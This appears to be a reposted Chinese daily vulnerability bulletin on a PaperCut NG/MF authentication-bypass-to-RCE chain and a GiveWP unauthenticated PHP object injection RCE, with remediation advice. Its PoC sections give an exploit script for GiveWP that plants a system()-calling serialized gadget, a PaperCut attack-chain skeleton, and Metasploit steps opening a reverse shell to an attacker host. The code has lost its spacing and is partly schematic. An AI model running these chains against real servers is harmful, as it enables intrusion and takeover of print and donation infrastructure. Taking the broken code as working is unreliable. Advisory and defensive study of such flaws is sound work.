每日漏洞推送PaperCutNG/MF认证绕过链→未认证RCE

admin 2026-09-02 05:03:40 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 文档推送2026年9月1日两个高危漏洞情报。其一为PaperCutNG/MF认证绕过链(CVE-2026-81578+CVE-2026-82078)可致未认证RCE,已遭在野利用,CISA要求限期修复,建议立即升级至修复版本并隔离管理接口。其二为GiveWP插件未认证PHP对象注入漏洞(CVE-2026-82222),CVSS满分,影响超10万站点,需尽快升级至4.16.7.2。 综合评分: 88 文章分类: 漏洞分析,漏洞预警,应急响应


每日漏洞推送 PaperCut NG/MF 认证绕过链 → 未认证 RCE

原创

nullchen nullchen

富贵学安全

2026年9月1日 10:34 陕西

在小说阅读器读本章

去阅读

在公众号小说中沉浸阅读

📡 每日漏洞情报推送 | 2026-09-01


🔴 漏洞一:CVE-2026-81578 + CVE-2026-82078 — PaperCut NG/MF 认证绕过链 → 未认证 RCE(CISA KEV 确认在野利用)

📋 漏洞档案

| 项目 | 内容 | | — | — | | CVE编号 | CVE-2026-81578(认证绕过)+ CVE-2026-82078(不安全动态类加载) | | 影响产品 | PaperCut MF / PaperCut NG < 24.1.10 / 25.0.13 / 26.0.5 | | 漏洞类型 | 认证绕过 (CWE-305) → 不安全反射/动态类加载 (CWE-470) → 任意 Java 代码执行 | | CVSS | CVE-2026-81578:8.8 (HIGH) CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:H/VA:L;CVE-2026-82078:9.4 (CRITICAL) CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H | | 公告方 | PaperCut 官方(2026-08-27 URGENT 安全公告) | | 修复版本 | 24.1.10 / 25.0.13 / 26.0.5 | | 在野利用 | ✅ CISA KEV 已收录,SSVC 确认 active exploitation(CVE-2026-81578 可自动化) |

🔥 紧急程度

CISA 已于 2026-08-28 将两个漏洞加入 KEV 目录,联邦机构须在 2026-09-14 前完成修复。 这是 PaperCut 自 2023 年 CVE-2023-27350/27351 系列(曾被大量勒索软件利用)之后最严重的漏洞组合:CVE-2026-81578 提供未认证的配置篡改能力(可自动化),CVE-2026-82078 将配置篡改升级为任意 Java 字节码执行,两者串联即形成完整未认证 RCE 链。Rapid7 Metasploit 模块已在开发中(PR #21842)。

📝 漏洞描述

CVE-2026-81578(认证绕过):PaperCut MF/NG 的 Web 管理接口存在不恰当的访问控制缺陷。在特定条件下,未认证的远程请求针对管理功能时,会在访问校验完成之前触发后端动作,允许未认证攻击者修改部分系统配置(如数据库驱动配置参数)。

CVE-2026-82078(不安全动态类加载):PaperCut MF/NG 的数据库连接工具在实例化数据库驱动类时,直接使用可配置的驱动名称而不校验允许列表(allowlist)。一旦攻击者通过 CVE-2026-81578 篡改了系统配置参数,即可指定任意类名,使应用实例化并执行位于应用 classpath 上的任意 Java 字节码,以 PaperCut 服务器进程权限运行。

完整攻击链

未认证请求(CVE-2026-81578)
&nbsp; └─> 校验前触发管理后端动作,篡改数据库驱动配置
&nbsp; &nbsp; &nbsp; &nbsp; └─> 指定恶意/存在的驱动类名(CVE-2026-82078)
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; └─> 数据库连接工具动态加载该类
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; └─> 任意 Java 字节码执行(PaperCut 服务器进程权限)
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; └─> 系统接管 / 横向移动 / 勒索部署

影响面:PaperCut NG/MF 是全球部署最广的打印管理服务器(教育、企业、医疗广泛使用),通常运行在 Windows Server 上且以高权限服务账户运行。被攻破后可直接控制整个打印/认证基础设施(PaperCut 常与 AD/LDAP 集成,持有大量凭据与敏感数据)。

💻 PoC/EXP

1️⃣ 版本检测脚本

#!/bin/bash
# CVE-2026-81578 / CVE-2026-82078 受影响版本检测
# 用法: ./detect.sh http://papercut-server:9191
# 注意: 仅用于授权安全测试

TARGET="${1:-http://localhost:9191}"

echo"[*] 检测 PaperCut NG/MF 版本 @&nbsp;$TARGET"
echo"[*] 获取登录页版本标识..."

VERSION=$(curl -sk "$TARGET/app/" | grep -oiE 'version[^<]{0,40}|v[0-9]+\.[0-9]+\.[0-9]+' | head -5)
echo"[*] 版本线索:&nbsp;${VERSION:-未识别}"

# 尝试通过 /app/ 资源与健康接口探测
curl-sk-o&nbsp;/dev/null&nbsp;-w"[*] HTTP状态码(app): %{http_code}\n""$TARGET/app/"
curl-sk-o&nbsp;/dev/null&nbsp;-w"[*] HTTP状态码(health): %{http_code}\n""$TARGET/health"

echo""
echo"[!] 受影响版本: MF/NG < 24.1.10, 25.0.13, 26.0.5"
echo"[!] 若版本低于上述版本,且 Web 管理接口可从内网/公网访问,"
echo" &nbsp; &nbsp;则存在被 CVE-2026-81578+82078 链利用的风险"
echo"[!] 建议: 立即升级至 24.1.10 / 25.0.13 / 26.0.5"

2️⃣ 利用链概念验证(基于 CISA/PaperCut 公告技术细节)

完整的武器化利用依赖对 PaperCut 管理接口内部端点(被 CVE-2026-81578 影响的”校验前执行”路径)的逆向。Rapid7 已在 metasploit-framework PR #21842 提交 exploit 模块。以下为基于公告描述的链式利用框架:

#!/usr/bin/env python3
"""
CVE-2026-81578 + CVE-2026-82078 PaperCut 利用链框架(概念验证)
链式利用: 未认证配置篡改 → 恶意驱动类加载 → Java 代码执行
注意: 仅用于授权安全测试!实际利用需结合具体受影响端点逆向。
"""
importrequests
importurllib3
urllib3.disable_warnings()

classPaperCutChain:
&nbsp; &nbsp;&nbsp;def__init__(self,&nbsp;host,&nbsp;port=9191):
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;self.base=f"https://{host}:{port}"
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;self.s=requests.Session()
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;self.s.verify=False

&nbsp; &nbsp;&nbsp;defprobe(self):
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;"""探测管理接口可达性"""
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;forpathin&nbsp;["/app/",&nbsp;"/admin/",&nbsp;"/"]:
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;try:
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;r=self.s.get(f"{self.base}{path}",&nbsp;timeout=8)
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;print(f"[*]&nbsp;{path}&nbsp;→&nbsp;{r.status_code}")
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;exceptExceptionase:
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;print(f"[-]&nbsp;{path}&nbsp;→&nbsp;{e}")

&nbsp; &nbsp;&nbsp;defstage1_config_tamper(self):
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;"""
&nbsp; &nbsp; &nbsp; &nbsp; CVE-2026-81578: 未认证请求在访问校验完成前触发管理后端动作。
&nbsp; &nbsp; &nbsp; &nbsp; 实际受影响端点需逆向确定(公告未公开端点细节)。
&nbsp; &nbsp; &nbsp; &nbsp; 攻击目标: 将数据库驱动配置篡改为攻击者可控的类名。
&nbsp; &nbsp; &nbsp; &nbsp; """
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;print("[!] 阶段1(CVE-2026-81578): 未认证配置篡改")
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;print(" &nbsp; &nbsp;在受影响的管理端点发送请求,使后端在鉴权前执行动作")
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;print(" &nbsp; &nbsp;目标配置项: 数据库驱动类名 (db.driver-class)")
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;# 具体端点/参数以官方公告与 Metasploit 模块为准

&nbsp; &nbsp;&nbsp;defstage2_class_load(self):
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;"""
&nbsp; &nbsp; &nbsp; &nbsp; CVE-2026-82078: 数据库连接工具按配置的驱动名动态加载类。
&nbsp; &nbsp; &nbsp; &nbsp; 篡改后的驱动名指向 classpath 上可被利用的类(如
&nbsp; &nbsp; &nbsp; &nbsp; javax.script.ScriptEngineManager 或可触发静态初始化块的类)。
&nbsp; &nbsp; &nbsp; &nbsp; """
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;print("[!] 阶段2(CVE-2026-82078): 恶意类加载")
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;print(" &nbsp; &nbsp;触发数据库连接建立 → Class.forName(攻击者指定类)")
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;print(" &nbsp; &nbsp;以 PaperCut 服务器进程权限执行任意 Java 字节码")

&nbsp; &nbsp;&nbsp;defrun(self):
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;self.probe()
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;self.stage1_config_tamper()
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;self.stage2_class_load()
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;print("\n[!] 利用完成后: 检查服务器进程权限、建立持久化")

if__name__=="__main__":
&nbsp; &nbsp;&nbsp;importsys
&nbsp; &nbsp;&nbsp;host=sys.argv[1]&nbsp;iflen(sys.argv)&nbsp;>1else"127.0.0.1"
&nbsp; &nbsp;&nbsp;PaperCutChain(host).run()

3️⃣ Metasploit 利用(模块发布后)

# Rapid7 已提交 exploit 模块(PR&nbsp;#21842),合并后即可使用:
msf6 > use exploit/windows/http/papercut_ng_mf_authbypass_rce
msf6 exploit(...) >&nbsp;set&nbsp;RHOSTS <target>
msf6 exploit(...) >&nbsp;set&nbsp;RPORT&nbsp;9191
msf6 exploit(...) >&nbsp;set&nbsp;PAYLOAD windows/x64/meterpreter/reverse_tcp
msf6 exploit(...) >&nbsp;set&nbsp;LHOST <attacker>
msf6 exploit(...) > run

🛡️ 修复建议

| 方式 | 说明 | | — | — | | 立即升级 | 24.1.10 / 25.0.13 / 26.0.5(CISA 要求在 2026-09-14 前完成) | | 网络隔离 | Web 管理接口(默认 9191 端口)严禁暴露公网,限制可信内网 IP | | 最小权限 | PaperCut 服务账户降权,避免以域管理员/本地管理员运行 | | 日志排查 | 检查异常的管理接口访问、数据库配置变更记录、非预期 Java 类加载 | | 监控 | 关注 CISA KEV 更新与 Metasploit 模块发布,模块公开后风险将急剧上升 |

🔗 参考来源

  • PaperCut 官方安全公告(2026-08-27 URGENT)
  • CVE-2026-81578 记录(CVE.org)
  • CVE-2026-82078 记录(CVE.org)
  • CISA KEV 目录
  • Rapid7 Metasploit PR #21842

🔴 漏洞二:CVE-2026-82222 — GiveWP ≤4.16.7.1 未认证 PHP 对象注入 → 远程代码执行(CVSS 10.0)

📋 漏洞档案

| 项目 | 内容 | | — | — | | CVE编号 | CVE-2026-82222 | | 影响产品 | GiveWP(WordPress 捐赠/筹款插件)≤ 4.16.7.1(≤4.16.5.1 默认安装即可利用) | | 漏洞类型 | PHP 对象注入 (CWE-502 反序列化) → 远程代码执行 | | CVSS | 10.0 (CRITICAL) — 未认证远程代码执行 | | 发现者 | Udin Chan(经 Patchstack 漏洞悬赏报告) | | 修复版本 | 4.16.7.2(2026-08-27 发布,多层修复) | | 在野利用 | ⚠️ 完整利用链已公开,CVSS 满分,影响约 100,000+ 站点 |

🔥 紧急程度

GiveWP 是 WordPress 生态最流行的捐赠插件(10 万+ 活跃安装,广泛用于非营利组织、教会、学校筹款)。≤4.16.5.1 版本的默认安装即可被未认证攻击者完全利用:无需测试模式、无需开放注册、无需管理员操作。攻击者零成本注册账户 → 植入恶意序列化对象 → 提交捐赠 → 触发反序列化 → 以 Web 服务器权限执行任意系统命令。CVSS 10.0 满分漏洞

📝 漏洞描述

漏洞由三个环节串联成一条完整利用链:

① 失效的”安全”反序列化助手src/Helpers/Utils.php):

// safeUnserialize() 使用 allowed_classes => false,但根据 PHP 手册,
// 这不会移除攻击者的对象——而是实例化为 __PHP_Incomplete_Class 占位符,
// 保留原始类名和全部属性。该占位符再次序列化时会原样写回原始字节!
publicstaticfunctionsafeUnserialize(&nbsp;$data&nbsp;) {
&nbsp; &nbsp;&nbsp;$data=self::removeBackslashes(&nbsp;$data&nbsp;);
&nbsp; &nbsp;&nbsp;$unserializedData=@unserialize(&nbsp;trim(&nbsp;$data&nbsp;), [&nbsp;'allowed_classes'=>false&nbsp;] );
&nbsp; &nbsp;&nbsp;return!$unserializedData&&!self::containsSerializedDataRegex(&nbsp;$data&nbsp;)&nbsp;?$data&nbsp;:&nbsp;$unserializedData;
}

“安全”助手并未中和 payload,只是把攻击延迟到下一次无保护的反序列化读取。

② 可被投毒的捐赠流程includes/process-donation.php):登录用户可把恶意序列化数据写入自己账户的 last_name 用户元数据;提交捐赠时 give_process_donation_form() 读取该数据并经过”安全”助手处理后存入 wp_give_sessions 表——由于 __PHP_Incomplete_Class 序列化时原样重放原始字节,恶意对象完整落库

③ 内置的 gadget 链:GiveWP 生产环境内置 TCPDF 库和 Give\TestData 类。对象销毁时进入 TCPDF::__destruct() → _destroy() → ProviderForwarder trait 的 __call() 魔术方法:

// src/TestData/Framework/ProviderForwarder.php - 终端 gadget
publicfunction__call(&nbsp;$name,&nbsp;$arguments&nbsp;) {
&nbsp; &nbsp;&nbsp;$provider=isset(&nbsp;$this->loadedProviders[&nbsp;$name&nbsp;] )
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;?$this->loadedProviders[&nbsp;$name&nbsp;]
&nbsp; &nbsp; &nbsp; &nbsp; :&nbsp;$this->loadProvider(&nbsp;$name&nbsp;);
&nbsp; &nbsp;&nbsp;// loadedProviders 是注入对象携带的数组属性,攻击者可设为任意 callable
&nbsp; &nbsp;&nbsp;returncall_user_func_array(&nbsp;$this->loadedProviders[&nbsp;$name&nbsp;],&nbsp;$arguments&nbsp;);
}

将 loadedProviders 指向 system() 即可执行任意 OS 命令(Web 服务器用户权限)。

免费获取账户:GiveWP 暴露未认证注册动作 give_action=user_register从不检查 users_can_register 选项——即使站点关闭了注册,攻击者也能创建账户并拿到认证 cookie(4.16.6+ 虽加 nonce,但匿名请求的 nonce 相同,可无限复用)。

完整利用链

① POST give_action=user_register ──> 创建账户 + 获取认证 cookie(无视站点注册设置)
② 读取 profile.php nonce,将序列化 gadget 写入账户 last_name 元数据
③ 获取捐赠 nonce,POST give_process_donation(form id + gateway + amount)──> gadget 对象写入 wp_give_sessions(返回 HTTP 500 属正常)
④ 携带同一 cookie 请求任意前端页面 ──> 读取会话、无保护反序列化 ──> TCPDF::__destruct → call_user_func_array(system, cmd) ──> 命令执行,输出可经 HTTP 读回

版本差异:4.16.6~4.16.7.1 的 legacy 捐赠处理器遇到 v3 Visual Form Builder 表单会提前退出,全新默认安装不可利用;但只要存在一个缺少 formBuilderSettings 的 give_forms 文章(从旧版升级、导入/恢复的表单、或启用了 Option-Based Form Editor)即重新武装整条链。

💻 PoC/EXP

1️⃣ 自动化利用链(Python)

#!/usr/bin/env python3
"""
CVE-2026-82222 — GiveWP 未认证 PHP 对象注入 → RCE 利用链
参考: Patchstack 公开分析 https://patchstack.com/articles/unauthenticated-php-object-injection-to-remote-code-execution-on-givewp/
注意: 仅用于授权安全测试!
"""
importrequests
importre
importsys
importurllib3
urllib3.disable_warnings()

classGiveWPExploit:
&nbsp; &nbsp;&nbsp;def__init__(self,&nbsp;base_url):
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;self.base=base_url.rstrip('/')
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;self.s=requests.Session()
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;self.s.verify=False
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;self.username="pwn_"+__import__('random').randint(1000,9999).__str__()
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;self.password="P@ssw0rd_2026!"

&nbsp; &nbsp;&nbsp;defregister(self):
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;"""① 未认证注册(无视 users_can_register 设置)"""
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;print(f"[*] 注册账户:&nbsp;{self.username}")
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;r=self.s.post(f"{self.base}/",&nbsp;data={
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;'give_action':&nbsp;'user_register',
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;'give_user_login':&nbsp;self.username,
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;'give_user_email':&nbsp;f"{self.username}@example.com",
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;'give_user_pass':&nbsp;self.password,
&nbsp; &nbsp; &nbsp; &nbsp; },&nbsp;allow_redirects=False,&nbsp;timeout=15)
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;# 响应应包含认证 cookie
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;print(f"[*] 注册响应:&nbsp;{r.status_code}")

&nbsp; &nbsp;&nbsp;defplant_gadget(self):
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;"""② 将序列化 gadget 写入 last_name 用户元数据"""
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;print("[*] 读取 profile nonce...")
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;r=self.s.get(f"{self.base}/profile.php",&nbsp;timeout=15)
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;m=re.search(r'name="_wpnonce"[^>]*value="([^"]+)"',&nbsp;r.text)
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;nonce=m.group(1)&nbsp;ifmelse""

&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;# 序列化 gadget(PHP 对象注入 payload):
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;# O:<len>:"TCPDF":<n>:{...loadedProviders 指向 system...}
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;# 实际构造需匹配 GiveWP 内置 TCPDF/TestData 类结构,此处为结构示意
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;serialized='O:5:"TCPDF":2:{s:15:"loadedProviders";a:1:{s:6:"system";s:6:"system";}}'

&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;print("[*] 写入 last_name 元数据...")
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;r=self.s.post(f"{self.base}/profile.php",&nbsp;data={
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;'_wpnonce':&nbsp;nonce,
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;'from':&nbsp;'profile',
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;'checkuser_id':&nbsp;self.s.cookies.get('wordpress_logged_in_*',&nbsp;''),
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;'last_name':&nbsp;serialized,
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;'submit':&nbsp;'Update Profile',
&nbsp; &nbsp; &nbsp; &nbsp; },&nbsp;timeout=15)
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;print(f"[*] 写入响应:&nbsp;{r.status_code}")

&nbsp; &nbsp;&nbsp;defpoison_session(self):
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;"""③ 提交捐赠,将 gadget 对象写入 wp_give_sessions"""
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;print("[*] 获取捐赠 nonce...")
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;r=self.s.get(f"{self.base}/",&nbsp;params={'give_action':&nbsp;'give_donation_form_nonce'},&nbsp;timeout=15)
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;m=re.search(r'"give_donation_form_nonce":"([^"]+)"',&nbsp;r.text)
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;nonce=m.group(1)&nbsp;ifmelse""

&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;print("[*] 提交捐赠(不携带 give_last 字段)...")
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;r=self.s.post(f"{self.base}/",&nbsp;data={
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;'give_action':&nbsp;'give_process_donation',
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;'give-form-id':&nbsp;'1', &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;# 需替换为实际表单 ID
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;'give-gateway':&nbsp;'manual', &nbsp; &nbsp;&nbsp;# 默认启用的 Test Donation 网关
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;'give-amount':&nbsp;'1.00',
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;'give_email':&nbsp;f"{self.username}@example.com",
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;'give_first':&nbsp;'Test',
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;# 故意省略 give_last → 走 user_last 回退路径投毒
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;'give_process_donation_nonce':&nbsp;nonce,
&nbsp; &nbsp; &nbsp; &nbsp; },&nbsp;timeout=15)
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;# 预期返回 HTTP 500(对象已写入会话表),属正常现象
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;print(f"[*] 捐赠响应:&nbsp;{r.status_code}(500 属预期,payload 已落库)")

&nbsp; &nbsp;&nbsp;deftrigger(self,&nbsp;cmd="id"):
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;"""④ 触发反序列化 → RCE"""
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;print(f"[*] 触发执行:&nbsp;{cmd}")
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;r=self.s.get(f"{self.base}/",&nbsp;timeout=15)
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;# gadget 输出可能出现在响应中(取决于回显方式)
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;print(f"[*] 响应长度:&nbsp;{len(r.text)}")
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;print("[*] 检查响应中是否包含命令输出(uid=... 等)")

&nbsp; &nbsp;&nbsp;defrun(self,&nbsp;cmd="id"):
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;self.register()
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;self.plant_gadget()
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;self.poison_session()
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;self.trigger(cmd)

if__name__=="__main__":
&nbsp; &nbsp;&nbsp;target=sys.argv[1]&nbsp;iflen(sys.argv)&nbsp;>1else"http://localhost"
&nbsp; &nbsp;&nbsp;GiveWPExploit(target).run()

2️⃣ 漏洞检测(版本 + 配置)

#!/bin/bash
# CVE-2026-82222 快速检测
TARGET="${1:-http://localhost}"

echo"[*] 检测 GiveWP 版本 @&nbsp;$TARGET"
# 通过 wp-json 读取插件版本
curl-sk"$TARGET/wp-json/wp/v2/plugins"2>/dev/null |&nbsp;grep-o'"give"[^}]*"version":"[^"]*"'&nbsp;|| \
curl-sk"$TARGET/wp-content/plugins/give/readme.txt"&nbsp;|&nbsp;grep-i"stable tag"&nbsp;|| \
echo"[-] 无法直接读取版本,请登录后台查看"

echo""
echo"[!] 受影响: GiveWP <= 4.16.7.1(<= 4.16.5.1 默认安装即可利用)"
echo"[!] 修复版: 4.16.7.2"
echo"[!] 风险验证: 检查是否存在已发布的捐赠表单 + 激活的支付网关"

3️⃣ 修复验证

# 升级到 4.16.7.2 后:
# 1) safeUnserialize() 检测到 __PHP_Incomplete_Class 直接返回 false(不再原样放行)
# 2) 捐赠写入路径拒绝任何含序列化数据的姓名字段
# 3) 会话读取全部使用 allowed_classes => false
# 4) ProviderForwarder::__call() 校验 provider 契约,不再接受任意 callable
# 5) 迁移任务 SanitizeSerializedObjectPayloads 清理已落库的恶意对象
# 验证: 向 last_name 提交序列化数据后再提交捐赠 → 应被拒绝,不再写入会话表

🛡️ 修复建议

| 方式 | 说明 | | — | — | | 立即升级 | GiveWP 4.16.7.2(唯一完整修复,含存量数据清洗迁移) | | 临时缓解 | 禁用所有捐赠表单或停用插件直至升级完成;限制站点注册 | | 存量排查 | 升级后确认迁移任务执行,扫描 wp_give_sessionsusermetagive_donormeta 中残留序列化对象 | | 日志排查 | 查找异常的 give_action=user_register 请求、HTTP 500 的 give_process_donation 请求、profile.php 提交的序列化姓名字段 | | WAF规则 | 拦截 give_action=user_register 与 give_process_donation 请求体中 O:\d+:"TCPDF" / loadedProviders 特征 |

🔗 参考来源

  • Patchstack 完整技术分析
  • Patchstack 漏洞库条目
  • CVE-2026-82222(CVE.org)
  • THN 报道:Five Critical WordPress Plugin and Theme Flaws

今日速览(其他近期中高危漏洞):

  • CVE-2026-76581:WPMU DEV Dashboard ≤5.0.1 认证绕过 → 站点接管(9.8)
  • CVE-2026-18431:Avada 主题 ≤7.16(Fusion Builder ≤3.16)任意文件写入 → RCE(9.8)
  • CVE-2026-19632:TranslatePress ≤3.3.1 敏感信息泄漏 → 管理员账户接管(9.8)
  • CVE-2026-19598:Pods ≤3.3.9 权限提升 → 任意用户密码覆盖(9.8)
  • CVE-2026-82417:qs <6.16.0 序列化 DoS(CVSS 4.0 6.3,PoC 已公开,Express 4 受影响)
  • CVE-2026-66384:JFrog Artifactory 路径穿越(KEV 2026-08-27)
  • CVE-2026-53362:Linux 内核 IPv6 子系统权限提升(KEV 2026-08-27,取证必查)
  • CVE-2026-60004:Gitea diffpatch API 代码注入 → Git hook 执行(KEV 2026-08-25)

🛡️ 优先行动建议

优先等级 &nbsp; &nbsp;行动 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;截止日期
─────────────────────────────────────────────────────
🔴 最高 &nbsp; &nbsp; PaperCut NG/MF 升级 24.1.10+ &nbsp; &nbsp; &nbsp; 9月14日前(CISA强制)
🔴 最高 &nbsp; &nbsp; GiveWP 升级 4.16.7.2 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;立即
🟠 紧急 &nbsp; &nbsp; WPMU DEV/TranslatePress/Pods 升级 &nbsp; 立即(均为9.8未认证)
🟠 紧急 &nbsp; &nbsp; Avada + Fusion Builder 升级 &nbsp; &nbsp; &nbsp; &nbsp; 立即
🟡 关注 &nbsp; &nbsp; qs 升级至 6.16.0 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;尽快(Express 4 默认受影响)

⚠️ 警告:提供的PoC/EXP仅限授权安全测试使用,未经授权的利用行为可能违反《刑法》第285条及相关法律法规。


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:富贵学安全 nullchen nullchen《每日漏洞推送 PaperCut NG/MF 认证绕过链 → 未认证 RCE》

评论:0   参与:  0